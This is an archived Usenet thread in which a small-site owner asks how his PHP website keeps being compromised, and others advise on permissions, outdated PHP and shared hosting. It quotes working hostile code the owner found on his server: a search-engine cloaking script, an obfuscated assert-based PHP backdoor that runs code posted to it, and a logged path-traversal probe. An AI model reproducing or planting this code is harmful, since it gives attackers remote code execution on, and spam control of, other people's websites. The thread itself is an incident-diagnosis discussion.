Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss
OT: how is my website being hacked/corrupted?
415 views
Skip to first unread message
Michael Kilpatrick
May 31, 2018, 9:14:16 AM5/31/18
to
For anyone who might have an idea, please....
My ellington-music.co.uk website is suffering repeated attacks of some
sort in which my main index.php file is being replaced by something else.
I use PHP and MySQL for the menu system and for dynamically generating
the content, so it uses various routines defined in other PHP files too,
and loads up the various contents from a selection of text/HTML files.
For the last couple of months I have found that every couple of weeks
the index.php file has been replace by the following short file.
By what possible mechanisms could that be happening other than by
knowing my FTP password? What sort of hacks might allow the injection of
this file?
Is there a good newsgroup for this sort of question?
My band website harmonyinharlem.co.uk is mapped to a subdomain of the
same hosting package but that has never been corrupted in the same way,
ever.
<?php
function getAgent(){
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$from=@$_SERVER['HTTP_FROM'];
$spider_array=array("google","yahoo","bing");
for($i=0;$i<count($spider_array);$i++){
if(stristr($user_agent,$spider_array[$i]) &&
stristr($from,$spider_array[$i])) return true;
}
return false;
}
function getReferrer(){
$page_from=@$_SERVER['HTTP_REFERER'];
$search_array=array("google","yahoo","bing");
for($i=0;$i<count($search_array);$i++){
if(stristr($page_from,$search_array[$i])) return true;
}
return false;
}
if(getReferrer() && $_SERVER['REQUEST_URI']=='/'){
//header('Location: http://www.timberlandzone.com/#domain');
//exit();
}
if(getAgent() && $_SERVER['REQUEST_URI']=='/'){
require("images/mirr.jpg");
exit;
}
require("index.html");
?>
My ellington-music.co.uk website is suffering repeated attacks of some
sort in which my main index.php file is being replaced by something else.
I use PHP and MySQL for the menu system and for dynamically generating
the content, so it uses various routines defined in other PHP files too,
and loads up the various contents from a selection of text/HTML files.
For the last couple of months I have found that every couple of weeks
the index.php file has been replace by the following short file.
By what possible mechanisms could that be happening other than by
knowing my FTP password? What sort of hacks might allow the injection of
this file?
Is there a good newsgroup for this sort of question?
My band website harmonyinharlem.co.uk is mapped to a subdomain of the
same hosting package but that has never been corrupted in the same way,
ever.
<?php
function getAgent(){
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$from=@$_SERVER['HTTP_FROM'];
$spider_array=array("google","yahoo","bing");
for($i=0;$i<count($spider_array);$i++){
if(stristr($user_agent,$spider_array[$i]) &&
stristr($from,$spider_array[$i])) return true;
}
return false;
}
function getReferrer(){
$page_from=@$_SERVER['HTTP_REFERER'];
$search_array=array("google","yahoo","bing");
for($i=0;$i<count($search_array);$i++){
if(stristr($page_from,$search_array[$i])) return true;
}
return false;
}
if(getReferrer() && $_SERVER['REQUEST_URI']=='/'){
//header('Location: http://www.timberlandzone.com/#domain');
//exit();
}
if(getAgent() && $_SERVER['REQUEST_URI']=='/'){
require("images/mirr.jpg");
exit;
}
require("index.html");
?>
Michael Kilpatrick
May 31, 2018, 9:54:59 AM5/31/18
to
On 31/05/2018 14:49, Brian Morrison wrote:
> vulnerabilities and SQL injection attacks are well known too.
>
> If your web hosting provider doesn't keep up with patched versions of
> the programs on their web servers then I wouldn't be surprised if this
> happened.
>
I just found a strange PHP file in another area of package. It's called
"thankyou.php" and it looks like this:
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
Which apears to be an obfuscation of "assert(POST[0-2-5])" or something
like that.
Hmmmmm.
> On Thu, 31 May 2018 14:14:19 +0100
> Michael Kilpatrick wrote:
>
>> By what possible mechanisms could that be happening other than by
>> knowing my FTP password? What sort of hacks might allow the injection
>> of this file?
>
> How is this hosted? PHP is notorious for suffering attacks due to
> Michael Kilpatrick wrote:
>
>> By what possible mechanisms could that be happening other than by
>> knowing my FTP password? What sort of hacks might allow the injection
>> of this file?
>
> vulnerabilities and SQL injection attacks are well known too.
>
> If your web hosting provider doesn't keep up with patched versions of
> the programs on their web servers then I wouldn't be surprised if this
> happened.
>
I just found a strange PHP file in another area of package. It's called
"thankyou.php" and it looks like this:
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
Which apears to be an obfuscation of "assert(POST[0-2-5])" or something
like that.
Hmmmmm.
Jon Schneider
May 31, 2018, 10:00:54 AM5/31/18
to
I would make sure wherever PHP is it CANNOT be written by the web server
itself or written by anything but the intended user (you). That should
make sure this can't happen.
Also never use PHP's exec or open file with something user-supplied
without extreme prejudice.
Jon
itself or written by anything but the intended user (you). That should
make sure this can't happen.
Also never use PHP's exec or open file with something user-supplied
without extreme prejudice.
Jon
Michael Kilpatrick
May 31, 2018, 10:07:48 AM5/31/18
to
On 31/05/2018 15:00, Jon Schneider wrote:
> I would make sure wherever PHP is it CANNOT be written by the web server
> itself or written by anything but the intended user (you). That should
> make sure this can't happen.
>
> Also never use PHP's exec or open file with something user-supplied
> without extreme prejudice.
>
> Jon
>
It's bloomin' years since I wrote it (more as an intellectual exercise
> I would make sure wherever PHP is it CANNOT be written by the web server
> itself or written by anything but the intended user (you). That should
> make sure this can't happen.
>
> Also never use PHP's exec or open file with something user-supplied
> without extreme prejudice.
>
> Jon
>
than out of real need to make anything quite so complicated). It will
take me a while to search for any such openings. Ugh.
Michael
Paul Hardy
May 31, 2018, 10:09:20 AM5/31/18
to
Michael Kilpatrick <ne...@mkilpatrickspam.co.uk> wrote:
...
introduced diverting people off to an advertising site. 123 Reg tried to
convince me that my ftp password had been hacked, but changing it made no
difference. They then said my home systems must be hacked, but there was no
evidence of this. I tried to persuade them that their root account or group
admin account on the server had been hacked, but they denied it. I then
changed to a new server on same provider, and haven’t had problems since.
So I’m convinced it was their server had been hacked, and some malware was
searching the whole server for websites and changing the index file.
Good luck,
--
Paul at the paulhardy.net domain
...
> For the last couple of months I have found that every couple of weeks
> the index.php file has been replaced ...
> By what possible mechanisms could that be happening other than by
> knowing my FTP password? What sort of hacks might allow the injection of
> this file?
I had this sort of attack on my website hosted by 123 Reg. index.phpnwas
> knowing my FTP password? What sort of hacks might allow the injection of
> this file?
introduced diverting people off to an advertising site. 123 Reg tried to
convince me that my ftp password had been hacked, but changing it made no
difference. They then said my home systems must be hacked, but there was no
evidence of this. I tried to persuade them that their root account or group
admin account on the server had been hacked, but they denied it. I then
changed to a new server on same provider, and haven’t had problems since.
So I’m convinced it was their server had been hacked, and some malware was
searching the whole server for websites and changing the index file.
Good luck,
--
Paul at the paulhardy.net domain
Jon Schneider
May 31, 2018, 10:19:52 AM5/31/18
to
> So I’m convinced it was their server had been hacked, and some malware was
> searching the whole server for websites and changing the index file.
This is the problem with the way PHP is normally set up on shared
> searching the whole server for websites and changing the index file.
hosting systems. Little useful isolation between customers.
That combined with the language bring a poorly documented dog's dinner
(no offence to dogs intended) and being so easy to get going with makes
it truly awful.
Jon
Michael Kilpatrick
May 31, 2018, 10:27:41 AM5/31/18
to
I have no "execs" that I've yet found, but clearly someone or something
has injected a "thankyou.php" file onto my hosting area and it appears
to be doing something with assert and $_POST which I need to read up on.
Michael
Jon Schneider
May 31, 2018, 10:46:24 AM5/31/18
to
> I have no "execs"
Well by exec I also mean shell_exec, system, backticks, passthru and
other ways not exactly listed in one place. It's a mess.
Jon
Well by exec I also mean shell_exec, system, backticks, passthru and
other ways not exactly listed in one place. It's a mess.
Jon
Tim Ward
May 31, 2018, 12:27:30 PM5/31/18
to
On 31/05/2018 15:27, Michael Kilpatrick wrote:
>
> Hmmm. I'm on an old hosting package on 123-reg which was formerly
> Supanames.
>
> I have no "execs" that I've yet found, but clearly someone or something
> has injected a "thankyou.php" file onto my hosting area and it appears
> to be doing something with assert and $_POST which I need to read up on.
I'm with Jon. PHP on a shared host and you're at the mercy of all the
>
> Hmmm. I'm on an old hosting package on 123-reg which was formerly
> Supanames.
>
> I have no "execs" that I've yet found, but clearly someone or something
> has injected a "thankyou.php" file onto my hosting area and it appears
> to be doing something with assert and $_POST which I need to read up on.
other users of the box, it doesn't really matter what you do or don't do
to secure your own stuff.
--
Tim Ward - 07801 703 600
www.brettward.co.uk
Michael Kilpatrick
May 31, 2018, 12:52:05 PM5/31/18
to
Also, I've spotted a few strange entries in a log from last week, some
entries which are rather more than just people requesting the
pages/images etc on the website using GET. Very suspicious.
For example:
www.ellington-music.co.uk 182.244.199.155 - 2018-05-15 00:52:27 HEAD
//install/index.php.bak
step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
404 147
http://www.ellington-music.co.uk//install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html
For now, I have disabled magic_quotes and assert, and I'm looking to see
what else I need to do to validate and filter requests that might be
attempting to make insertions.
M
Jon Schneider
May 31, 2018, 12:59:31 PM5/31/18
to
> For now, I have disabled magic_quotes
Don't. It's sort of good but also a wrong hacky wrong way to do things
and deprecated so you might think it's enabled but really it isn't.
Some code I acquired tested for the feature then undid the good it might
have done. It's academic since the sight is fully SQL injectable anyway.
Jon
Tim Ward
May 31, 2018, 1:01:36 PM5/31/18
to
On 31/05/2018 17:52, Michael Kilpatrick wrote:
>
> Also, I've spotted a few strange entries in a log from last week, some
> entries which are rather more than just people requesting the
> pages/images etc on the website using GET. Very suspicious.
I stopped looking at these long ago. It's routine to get loads of log
>
> Also, I've spotted a few strange entries in a log from last week, some
> entries which are rather more than just people requesting the
> pages/images etc on the website using GET. Very suspicious.
entries from script kiddies going through the standard exploits (you can
Google the log entries if you're really interested in the details).
Provided your server returns errors for all of them that isn't where the
problem lies.
Mark Goodge
May 31, 2018, 1:54:01 PM5/31/18
to
On Thu, 31 May 2018 14:14:19 +0100, Michael Kilpatrick
<ne...@mkilpatrickspam.co.uk> wrote:
>For anyone who might have an idea, please....
>
>My ellington-music.co.uk website is suffering repeated attacks of some
>sort in which my main index.php file is being replaced by something else.
>
>I use PHP and MySQL for the menu system and for dynamically generating
>the content, so it uses various routines defined in other PHP files too,
>and loads up the various contents from a selection of text/HTML files.
>
>For the last couple of months I have found that every couple of weeks
>the index.php file has been replace by the following short file.
>
>By what possible mechanisms could that be happening other than by
>knowing my FTP password? What sort of hacks might allow the injection of
>this file?
Firstly, if you're using ftp, don't. It's insecure and outdated. You
<ne...@mkilpatrickspam.co.uk> wrote:
>For anyone who might have an idea, please....
>
>My ellington-music.co.uk website is suffering repeated attacks of some
>sort in which my main index.php file is being replaced by something else.
>
>I use PHP and MySQL for the menu system and for dynamically generating
>the content, so it uses various routines defined in other PHP files too,
>and loads up the various contents from a selection of text/HTML files.
>
>For the last couple of months I have found that every couple of weeks
>the index.php file has been replace by the following short file.
>
>By what possible mechanisms could that be happening other than by
>knowing my FTP password? What sort of hacks might allow the injection of
>this file?
should be using sftp (ftp over ssh) by now.
Secondly, your site is running on PHP 5.2. That's insecure and
outdated. Ideally, you should be on the 7.x branch by now. But if
that's not possible (and, in some cases, it isn't a drop-in
replacement as it isn't 100% backwards compatible) then you should be
on version 5.6, which is the only currently maintaned version of the
5.x branch.
And if you can't upgrade your PHP package, because that's set by the
hosting provider, then gather up your (digital) belongings and run as
fast as you can for a better hosting provider.
Mark
Richard Kettlewell
May 31, 2018, 3:54:44 PM5/31/18
to
Mark Goodge <use...@listmail.good-stuff.co.uk> writes:
> Firstly, if you're using ftp, don't. It's insecure and outdated. You
> should be using sftp (ftp over ssh) by now.
Despite the name, SFTP is not FTP over SSH; it’s a completely different
> Firstly, if you're using ftp, don't. It's insecure and outdated. You
> should be using sftp (ftp over ssh) by now.
(and less bonkers) protocol.
--
https://www.greenend.org.uk/rjk/
Vir Campestris
May 31, 2018, 6:03:05 PM5/31/18
to
On 31/05/2018 17:52, Michael Kilpatrick wrote:
>
>
> www.ellington-music.co.uk 182.244.199.155 - 2018-05-15 00:52:27 HEAD
> //install/index.php.bak
> step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> 404 147
> http://www.ellington-music.co.uk//install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html
>
That IP address is in China, as is Baidu (it's their "Google").
> //install/index.php.bak
> step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> 404 147
> http://www.ellington-music.co.uk//install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html
>
Andy
The Natural Philosopher
Jun 1, 2018, 1:36:44 AM6/1/18
to
On 31/05/18 17:27, Tim Ward wrote:
> I'm with Jon. PHP on a shared host and you're at the mercy of all the
> other users of the box,
No, you are not.
> I'm with Jon. PHP on a shared host and you're at the mercy of all the
> other users of the box,
it doesn't really matter what you do or don't do
> to secure your own stuff.
>
Unix was orginally designed to protect the system from the users and the
users from each other.
In this case revoke the group write and world write permissions.
https://www.siteground.com/tutorials/ftp/change-permissions/
You are rhen proof against soneone else hacking UNLESS they have root
permissions.
Only you and root can thne change the files. Or someone using your
credentials.
--
Canada is all right really, though not for the whole weekend.
"Saki"
The Natural Philosopher
Jun 1, 2018, 1:47:29 AM6/1/18
to
On 31/05/18 17:52, Michael Kilpatrick wrote:
> Also, I've spotted a few strange entries in a log from last week, some
> entries which are rather more than just people requesting the
> pages/images etc on the website using GET. Very suspicious.
>
> For example:
>
> www.ellington-music.co.uk 182.244.199.155 - 2018-05-15 00:52:27 HEAD
> //install/index.php.bak
> step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> 404 147
404 = not found. A failed hackl attempt. I get dozens every minute.
> Also, I've spotted a few strange entries in a log from last week, some
> entries which are rather more than just people requesting the
> pages/images etc on the website using GET. Very suspicious.
>
> For example:
>
> www.ellington-music.co.uk 182.244.199.155 - 2018-05-15 00:52:27 HEAD
> //install/index.php.bak
> step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> 404 147
> http://www.ellington-music.co.uk//install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
> Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html
>
>
>
> For now, I have disabled magic_quotes and assert, and I'm looking to see
> what else I need to do to validate and filter requests that might be
> attempting to make insertions.
I cannot see how php can actually install a file on your system unless
you have written code to explicitly make that happen.
For a start it is unsual to have it set to 'file uploads=on' in php.ini.
This is how hard it is to upload a file using PHP
https://www.w3schools.com/php/php_file_upload.asp
Write a short page yourself containing just this
<?php
phpinfo();
?>
And run it - it will display your PHP settings and where the config
files are.
My guess is either that 123's server has been rooted, or that someone
has cracked your ftp password.
First step would be to examine all the files for tampering and look at
when they were modified last, and reset them to your backups,. and then
chenge the password.
--
“But what a weak barrier is truth when it stands in the way of an
hypothesis!”
Mary Wollstonecraft
Michael Kilpatrick
Jun 1, 2018, 6:38:05 AM6/1/18
to
On 01/06/2018 06:47, The Natural Philosopher wrote:
> On 31/05/18 17:52, Michael Kilpatrick wrote:
> https://www.w3schools.com/php/php_file_upload.asp
>
> Write a short page yourself containing just this
>
> <?php
> phpinfo();
> ?>
Yes, I know...
> On 31/05/18 17:52, Michael Kilpatrick wrote:
> https://www.w3schools.com/php/php_file_upload.asp
>
> Write a short page yourself containing just this
>
> <?php
> phpinfo();
> ?>
> And run it - it will display your PHP settings and where the config
> files are.
>
appears to be "On". I'll change that just in case.
> My guess is either that 123's server has been rooted, or that someone
> has cracked your ftp password.
files or my MySQL database to suggest that *anything* other than the
creation of the "thankyou.php" file has taken place. Very odd, if
someone had my password.
My index.php doesn't process POST data, only GET data, and I'm pretty
sure it removes anything that doesn't adhere to a
"index.php?page=[a-zA-z0-9]" criteria.
I just got this reply from 123-reg....
Hi Michael,
The file may have been code injected onto the hosting package, however,
please keep in mind that website security issues are outside our area of
expertise, as although our system administrators are responsible with
the security of the hosting platform as a whole, each web space is the
responsibility of its owner.
For improved website security we recommend SiteLock
(https://www.123-reg.co.uk/sitelock/) or a 3rd party service from a
company that specialises in website security such as: https://sucuri.net/
If there’s anything else at all I can do for you please let me know and
I’ll be very happy to help.
Best wishes,
Stefan
123 Reg
Michael
The Natural Philosopher
Jun 2, 2018, 5:57:18 AM6/2/18
to
On 01/06/18 11:38, Michael Kilpatrick wrote:
> On 01/06/2018 06:47, The Natural Philosopher wrote:
>
>> My guess is either that 123's server has been rooted, or that someone
>> has cracked your ftp password.
>
> But there is no evidence whatsoever of any alterations/additions to my
> files or my MySQL database to suggest that *anything* other than the
> creation of the "thankyou.php" file has taken place. Very odd, if
> someone had my password.
They often dont bother to do anything more than scan the internet for
> On 01/06/2018 06:47, The Natural Philosopher wrote:
>
>> My guess is either that 123's server has been rooted, or that someone
>> has cracked your ftp password.
>
> But there is no evidence whatsoever of any alterations/additions to my
> files or my MySQL database to suggest that *anything* other than the
> creation of the "thankyou.php" file has taken place. Very odd, if
> someone had my password.
cracakable ftp servers and simply automagically upload a single file
that gets clicks on some site they own. Or causes users to download
malware from it.
>
> My index.php doesn't process POST data, only GET data, and I'm pretty
> sure it removes anything that doesn't adhere to a
> "index.php?page=[a-zA-z0-9]" criteria.
>
>
> I just got this reply from 123-reg....
>
>
> Hi Michael,
>
> The file may have been code injected onto the hosting package, however,
> please keep in mind that website security issues are outside our area of
> expertise, as although our system administrators are responsible with
> the security of the hosting platform as a whole, each web space is the
> responsibility of its owner.
> For improved website security we recommend SiteLock
> (https://www.123-reg.co.uk/sitelock/) or a 3rd party service from a
> company that specialises in website security such as: https://sucuri.net/
>
> If there’s anything else at all I can do for you please let me know and
> I’ll be very happy to help.
>
> Best wishes,
>
> Stefan
>
> 123 Reg
>
>
>
>
> Michael
And make all files only writeable by you.
--
Of what good are dead warriors? … Warriors are those who desire battle
more than peace. Those who seek battle despite peace. Those who thump
their spears on the ground and talk of honor. Those who leap high the
battle dance and dream of glory … The good of dead warriors, Mother, is
that they are dead.
Sheri S Tepper: The Awakeners.
Jon Schneider
Jun 4, 2018, 5:41:01 AM6/4/18
to
> Unix was orginally designed to protect the system from the users and the
> users from each other.
which becomes absolutely irrelevant when all "users" are the user the
> users from each other.
web server and PHP run under.
Jon
The Natural Philosopher
Jun 5, 2018, 2:04:26 AM6/5/18
to
each user on a shared hosted site has their own unix identity, and owns
all the files they upload and is the only person that can WRITE those
files. Or should be.
Insofar as e.g. PHP/APACHE needs to *read* them they are then part of
the www-data group and readable by the members of that group.
They are not and should not be world readable or world writeable or even
writeable by the group www-data.
Typically they wll have 644 or 755 permissions.
e.g.
-rw-r--r-- 1 mememe www-data 9907 Apr 7 07:44 index.php
Even apache cannot rewrite that file without using some exploit that I
am not aware of.
Only mememe or root can.
> Jon
--
There is nothing a fleet of dispatchable nuclear power plants cannot do
that cannot be done worse and more expensively and with higher carbon
emissions and more adverse environmental impact by adding intermittent
renewable energy.
Martin
Jun 5, 2018, 9:29:16 AM6/5/18
to
On Thu, 31 May 2018, Jon Schneider wrote:
> That combined with the language bring a poorly documented dog's dinner
obscure extensions few people compile in).
http://php.net/manual/en/
e.g.
http://php.net/spl
Martin
Martin
Jun 5, 2018, 9:31:12 AM6/5/18
to
On Thu, 31 May 2018, Jon Schneider wrote:
http://php.net/exec
Martin
Martin
Jun 5, 2018, 9:34:44 AM6/5/18
to
On Thu, 31 May 2018, Michael Kilpatrick wrote:
> For now, I have disabled magic_quotes
your potential problem.
The magic_quotes misfeature was deprecated in PHP 5.3 and completely
removed in PHP 5.4. Both are long-unsupported versions:
http://php.net/supported-versions
So if your host is still on 5.4 you should be migrating to PHP7.x ASAP.
I also notice that you have display_errors switched on:
http://www.ellington-music.co.uk/index.php?page=cdguide
and that also shows that you're using the old mysql_ extension which also
is long-since deprecated in favour of PDO, which provides a much more
secure and standardised database wrapper.
Martin
Jon Schneider
Jun 5, 2018, 10:33:06 AM6/5/18
to
I guess you're much younger than me, haven't really programmed much
orhave never actually used PHP. Possibly all of these.
orhave never actually used PHP. Possibly all of these.
Martin
Jun 5, 2018, 10:56:47 AM6/5/18
to
On Tue, 5 Jun 2018, Jon Schneider wrote:
> I guess you're much younger than me, haven't really programmed much
> orhave never actually used PHP. Possibly all of these.
E.g.
https://www.cyclestreets.net/
which has around 250 object-orientated classes in a full MVC structure.
Martin
Ian Jackson
Jun 5, 2018, 1:17:52 PM6/5/18
to
In article <alpine.LRH.2.00.1...@hermes-2.csi.cam.ac.uk>,
https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/
when it first came out. Assuming even a fraction of it is still true,
the phrase "dog's dinner" is clearly applicable.
--
Ian Jackson <ijac...@chiark.greenend.org.uk> These opinions are my own.
If I emailed you from an address @fyvzl.net or @evade.org.uk, that is
a private address which bypasses my fierce spamfilter.
Martin <mv...@remove.cam.ac.uk> wrote:
>On Thu, 31 May 2018, Jon Schneider wrote:
>> That combined with the language bring a poorly documented dog's dinner
>
>In what sense? The documentation is very clear and extensive (except for
>obscure extensions few people compile in).
I read this
>On Thu, 31 May 2018, Jon Schneider wrote:
>> That combined with the language bring a poorly documented dog's dinner
>
>In what sense? The documentation is very clear and extensive (except for
>obscure extensions few people compile in).
https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/
when it first came out. Assuming even a fraction of it is still true,
the phrase "dog's dinner" is clearly applicable.
--
Ian Jackson <ijac...@chiark.greenend.org.uk> These opinions are my own.
If I emailed you from an address @fyvzl.net or @evade.org.uk, that is
a private address which bypasses my fierce spamfilter.
Tim Ward
Jun 5, 2018, 1:56:21 PM6/5/18
to
On 05/06/2018 15:56, Martin wrote:
>
> No, I've been programming in it for >10 years.
>
> E.g.
> https://www.cyclestreets.net/
> which has around 250 object-orientated classes in a full MVC structure.
Which suggests that you have long experience of avoiding the dog's
>
> No, I've been programming in it for >10 years.
>
> E.g.
> https://www.cyclestreets.net/
> which has around 250 object-orientated classes in a full MVC structure.
dinner parts of the language by automatically, without even thinking
about them, and you've probably forgotten they exist.
Stewart Brodie
Jun 5, 2018, 8:00:51 PM6/5/18
to
The Natural Philosopher
Jun 6, 2018, 3:59:35 AM6/6/18
to
but it covers a lot of ground.
No worse than BASIC used to be.
And no I've never been hacked and magic quotes are always on.
Because I know what I am doing...
And SQL statements are always validated...
And magic quotes have NOTHING to do with files on the server being
rewritten or replaced.
They apply to SQL statements
"Magic quotes was a controversial feature of the PHP scripting language,
wherein strings are automatically escaped—special characters are
prefixed with a backslash—before being passed on. It was introduced to
help newcomers write functioning SQL commands without requiring manual
escaping. It was later described as intended to prevent inexperienced
developers from writing code that was vulnerable to SQL injection attacks."
--
"Corbyn talks about equality, justice, opportunity, health care, peace,
community, compassion, investment, security, housing...."
"What kind of person is not interested in those things?"
"Jeremy Corbyn?"
Mark Goodge
Jun 6, 2018, 5:03:10 AM6/6/18
to
On Wed, 6 Jun 2018 08:59:33 +0100, The Natural Philosopher
<t...@invalid.invalid> wrote:
>And magic quotes have NOTHING to do with files on the server being
>rewritten or replaced.
>
>They apply to SQL statements
>
>"Magic quotes was a controversial feature of the PHP scripting language,
>wherein strings are automatically escaped—special characters are
>prefixed with a backslash—before being passed on. It was introduced to
>help newcomers write functioning SQL commands without requiring manual
>escaping. It was later described as intended to prevent inexperienced
>developers from writing code that was vulnerable to SQL injection attacks."
It doesn't, though. One of the reasons why magic quotes was first
<t...@invalid.invalid> wrote:
>And magic quotes have NOTHING to do with files on the server being
>rewritten or replaced.
>
>They apply to SQL statements
>
>"Magic quotes was a controversial feature of the PHP scripting language,
>wherein strings are automatically escaped—special characters are
>prefixed with a backslash—before being passed on. It was introduced to
>help newcomers write functioning SQL commands without requiring manual
>escaping. It was later described as intended to prevent inexperienced
>developers from writing code that was vulnerable to SQL injection attacks."
deprecated, and then removed, is that it isn't unicode aware, and thus
still vulnerable to SQL injection in some character encodings. Since
basic escaping, either with magic quotes or manually via addslashes(),
is the norm, most malicious injection attempts now exploit multibyte
encoding so as to get around them. There are, of course, ways to
protect against that, but magic quotes will not do it.
In any case, though, magic quotes are not a feature of current (or,
for that matter, even recent) versions of PHP. So anyone still using
them is using a version of PHP that is itself unacceptably old and
vulnerable. That's not something which any competant programmer would
be comfortable with.
Mark
The Natural Philosopher
Jun 6, 2018, 11:53:20 AM6/6/18
to
whatever to do with Magic Quiotes, on or off, and he is not suffering
from any SQL injection attack.
He is suffering from someone with either his, or root permissions
overwriting his files. Asssuming he has done what I suggested and made
them only writable by himself.
To summarize.
1/. His website FILES have been changed.
2/. Assuming his host is Linux, he should immediately change his
password, and make all files only writeable by himself, but leave them
world readable.
That should solve the matter unless the server itself has been rooted,
in which case change hosting company.
PHP issues are simply irrelevant, in this instance, since you would have
to write and upload a php file to upload and write files anyway! And
'www-data' (under whose ownership php will typically run) does not have
and should not have the permissions to write files in your website anyway.
In short user writable files only mean that only your user identity or
root, can monkey with the files.
--
Labour - a bunch of rich people convincing poor people to vote for rich
people
by telling poor people that "other" rich people are the reason they are
poor.
Peter Thompson
Tim Ward
Jun 6, 2018, 1:04:49 PM6/6/18
to
On 06/06/2018 16:53, The Natural Philosopher wrote:
>
> In short user writable files only mean that only your user identity or
> root, can monkey with the files.
And the fact remains that you don't, and can't, know definitely and for
>
> In short user writable files only mean that only your user identity or
> root, can monkey with the files.
sure that some vulnerability in PHP code, exposed via some other user's
web site on the same server, didn't allow that to happen.
Martin
Jun 6, 2018, 4:16:55 PM6/6/18
to
On Tue, 5 Jun 2018, Tim Ward wrote:
> Which suggests that you have long experience of avoiding the dog's
> dinner parts of the language by automatically, without even thinking
> about them, and you've probably forgotten they exist.
are a dog's dinner, and yes, I have long avoided that stuff. Misfeatures
like magic_quotes are gradually being eradicated, thankfully, in favour of
more standardised and secure approaches.
My original comment, as should be clear from the quoting, was referring to
the *documentation* itself, which I regard as pretty good.
Martin
Mark Goodge
Jun 6, 2018, 5:13:20 PM6/6/18
to
On Wed, 6 Jun 2018 16:53:19 +0100, The Natural Philosopher
<t...@invalid.invalid> wrote:
>
>PHP issues are simply irrelevant, in this instance, since you would have
>to write and upload a php file to upload and write files anyway! And
>'www-data' (under whose ownership php will typically run) does not have
>and should not have the permissions to write files in your website anyway.
They're not irrelevent. His site is (or was, when I tested it) running
<t...@invalid.invalid> wrote:
>
>PHP issues are simply irrelevant, in this instance, since you would have
>to write and upload a php file to upload and write files anyway! And
>'www-data' (under whose ownership php will typically run) does not have
>and should not have the permissions to write files in your website anyway.
PHP 5.2. That is vulnerable to exploits which can write files to the
server. There are numerous different ways of doing that, some more
obscure than others.
If he can't get his host to let him use a current version of PHP, then
he needs to get off the host. That is absolutely non-negotiable.
Mark
Jon Schneider
Jun 7, 2018, 4:40:56 AM6/7/18
to
On 06/06/2018 18:04, Tim Ward wrote:
> And the fact remains that you don't, and can't, know definitely and for
> sure that some vulnerability in PHP code, exposed via some other user's
> web site on the same server, didn't allow that to happen.
and it's worse than that in that the log files can be tampered with by
> And the fact remains that you don't, and can't, know definitely and for
> sure that some vulnerability in PHP code, exposed via some other user's
> web site on the same server, didn't allow that to happen.
the same entities (in the common setup for this stuff).
Jon
Jon Schneider
Jun 7, 2018, 4:46:31 AM6/7/18
to
> My original comment, as should be clear from the quoting, was referring to
> the *documentation* itself, which I regard as pretty good.
On the surface yes but then there are many things it doesn't say and are
> the *documentation* itself, which I regard as pretty good.
fixed by user comments. Without those comments the docs would be
_completely_ inadequate.
Jon
Jon Schneider
Jun 7, 2018, 4:56:35 AM6/7/18
to
that run in the same way.
Martin
Jun 7, 2018, 6:06:33 AM6/7/18
to
comments into the documentation above.
Or of course, people can submit patches for amendments anyway.
Martin
The Natural Philosopher
Jun 7, 2018, 11:12:29 AM6/7/18
to
On 06/06/18 18:04, Tim Ward wrote:
> On 06/06/2018 16:53, The Natural Philosopher wrote:
>>
>> In short user writable files only mean that only your user identity or
>> root, can monkey with the files.
>
> And the fact remains that you don't, and can't, know definitely and for
> sure that some vulnerability in PHP code, exposed via some other user's
> web site on the same server, didn't allow that to happen.
>
Well I *can* and *do*. You can't of course.
> On 06/06/2018 16:53, The Natural Philosopher wrote:
>>
>> In short user writable files only mean that only your user identity or
>> root, can monkey with the files.
>
> And the fact remains that you don't, and can't, know definitely and for
> sure that some vulnerability in PHP code, exposed via some other user's
> web site on the same server, didn't allow that to happen.
>
Because you dont understand unix permissions
A fault in PHP cannot allow it to gain root status. It has to be a flaw
in something that HAS root status.
--
"Socialist governments traditionally do make a financial mess. They
always run out of other people's money. It's quite a characteristic of them"
Margaret Thatcher
The Natural Philosopher
Jun 7, 2018, 11:14:21 AM6/7/18
to
On 06/06/18 22:13, Mark Goodge wrote:
> They're not irrelevent. His site is (or was, when I tested it) running
> PHP 5.2. That is vulnerable to exploits which can write files to the
> server. There are numerous different ways of doing that, some more
> obscure than others.
Name just ONE that whilst running with www-data permissions can
> They're not irrelevent. His site is (or was, when I tested it) running
> PHP 5.2. That is vulnerable to exploits which can write files to the
> server. There are numerous different ways of doing that, some more
> obscure than others.
overwrite a file which has no write permissions for www-data.
Or are you just hand waving?
The Natural Philosopher
Jun 7, 2018, 11:16:07 AM6/7/18
to
And those who are hadwaving about old PHP code are just - hand waving
I accept that apache log files can be vulbnerable, but ftp logs should
not be
Mark Goodge
Jun 7, 2018, 12:02:09 PM6/7/18
to
